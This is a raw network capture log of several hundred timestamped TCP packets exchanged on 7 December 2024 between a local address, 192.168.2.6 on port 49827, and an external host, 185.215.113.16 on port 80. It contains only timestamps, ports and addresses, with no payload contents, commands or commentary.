Dec 7, 2024 22:40:54.730606079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.730649948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.731498957 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.731551886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.731626987 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.731673956 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.732527971 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.732574940 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.732671022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.732717037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.733664989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.733714104 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.733748913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.733794928 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.734579086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.734630108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.734693050 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.734750032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.735588074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.735639095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.735677004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.735722065 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.736587048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.736638069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.736695051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.736747980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.737651110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.737704992 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.737849951 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.737896919 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.738624096 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.738681078 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.738711119 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.738756895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.739650011 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.739701033 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.739769936 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.739816904 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.740689039 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.740739107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.740772963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.740812063 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.741707087 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.741755962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.741790056 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.741833925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.742758989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.742825985 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.742885113 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.742929935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.743941069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.743988991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.744065046 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.744112015 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.744986057 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.745033979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.745114088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.745161057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.745894909 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.745944023 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.745987892 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.746037006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.746773005 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.746820927 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.746929884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.746974945 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.747807026 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.747873068 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.747939110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.747982979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.748790979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.748908043 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.748956919 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.749821901 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.749869108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.749905109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.749944925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.750835896 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.750886917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.750972986 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.751018047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.751877069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.752043962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.752103090 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.752888918 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.752937078 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.753009081 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.753077030 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.753906012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.753994942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.754012108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.754048109 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.754916906 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.755013943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.755062103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.755997896 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.756067991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.756114006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.756943941 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.756987095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.757078886 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.757124901 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.757997036 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.758044004 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.758204937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.759068012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.759124994 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.759135962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.759177923 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.760031939 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.760080099 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.760155916 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.760204077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.761029959 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.761077881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.761107922 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.761148930 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.762037039 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.762096882 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.762166023 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.762222052 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.763060093 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.763164997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.763196945 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.763246059 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.764143944 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.764236927 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.764286041 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.765157938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.765217066 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.765301943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.765347004 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.766139984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.766187906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.766297102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.766340971 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.767328024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.767370939 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.767374039 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.767419100 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.768170118 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.768258095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.768289089 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.768332958 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.769260883 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.769309998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.769340992 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.769423008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.770349026 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.770385027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.770427942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.771310091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.771367073 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.771383047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.771425962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.772236109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.772277117 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.772347927 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.772393942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.773247957 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.773313999 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.773408890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.773454905 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.774333954 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.774389982 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.774425030 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.774475098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.775357008 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.775408030 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.775485039 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.775531054 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.776335955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.776384115 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.776452065 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.776499987 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.777344942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.777441978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.777492046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.778376102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.778426886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.778456926 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.778568983 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.779409885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.779480934 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.779531002 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.919126034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.919179916 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.919207096 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.919244051 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.919631004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.919680119 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.919730902 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.919768095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.920631886 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.920685053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.920716047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.920767069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.921638012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.921679020 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.921808004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.921860933 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.922718048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.922806025 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.922931910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.923053980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.923793077 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.923834085 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.923883915 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.924041986 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.924712896 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.924776077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.924810886 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.924851894 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.925858974 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.925906897 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.925936937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.926039934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.926851988 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.926893950 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.926927090 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.926963091 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.927794933 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.927834034 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.927887917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.927921057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.928777933 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.928817034 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.928875923 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.928914070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.929785967 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.929832935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.929864883 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.929934978 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.930809975 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.930854082 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.930927992 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.930964947 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.931828022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.931865931 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.931900978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.931962967 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.932908058 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.932945967 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.933006048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.933041096 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.933965921 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.934010983 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.934082031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.934153080 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.934890032 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.934932947 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.934967041 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.935122967 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.935931921 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.935981989 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.936043024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.936090946 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.936938047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.936995029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.937025070 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.937069893 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.937923908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.937999964 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.938057899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.938105106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.938951969 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.939039946 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.939069033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.939131975 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.940004110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.940053940 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.940088987 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.940133095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.940987110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.941037893 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.941097021 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.941138029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.942013025 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.942073107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.942104101 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.942215919 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.943056107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.943108082 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.943142891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.943186998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.944051027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.944102049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.944166899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.944226980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.945054054 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.945111990 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.945225954 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.945276976 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.946098089 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.946142912 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.946250916 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.946305037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.947169065 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.947217941 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.947273970 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.947316885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.948160887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.948209047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.948276997 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.948318958 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.949135065 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.949242115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.949285030 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.950217009 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.950267076 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.950277090 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.950314999 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.951186895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.951237917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.951292038 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.951378107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.952189922 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.952358007 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.952400923 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.953229904 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.953278065 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.953320980 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.953358889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.954273939 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.954345942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.954402924 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.954442978 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.955610991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.955655098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.955941916 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.956074953 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.956262112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.956306934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.956443071 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.956485987 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.957283974 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.957326889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.957398891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.957493067 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.958367109 CET	80	49827	185.215.113.16	192.168.2.6
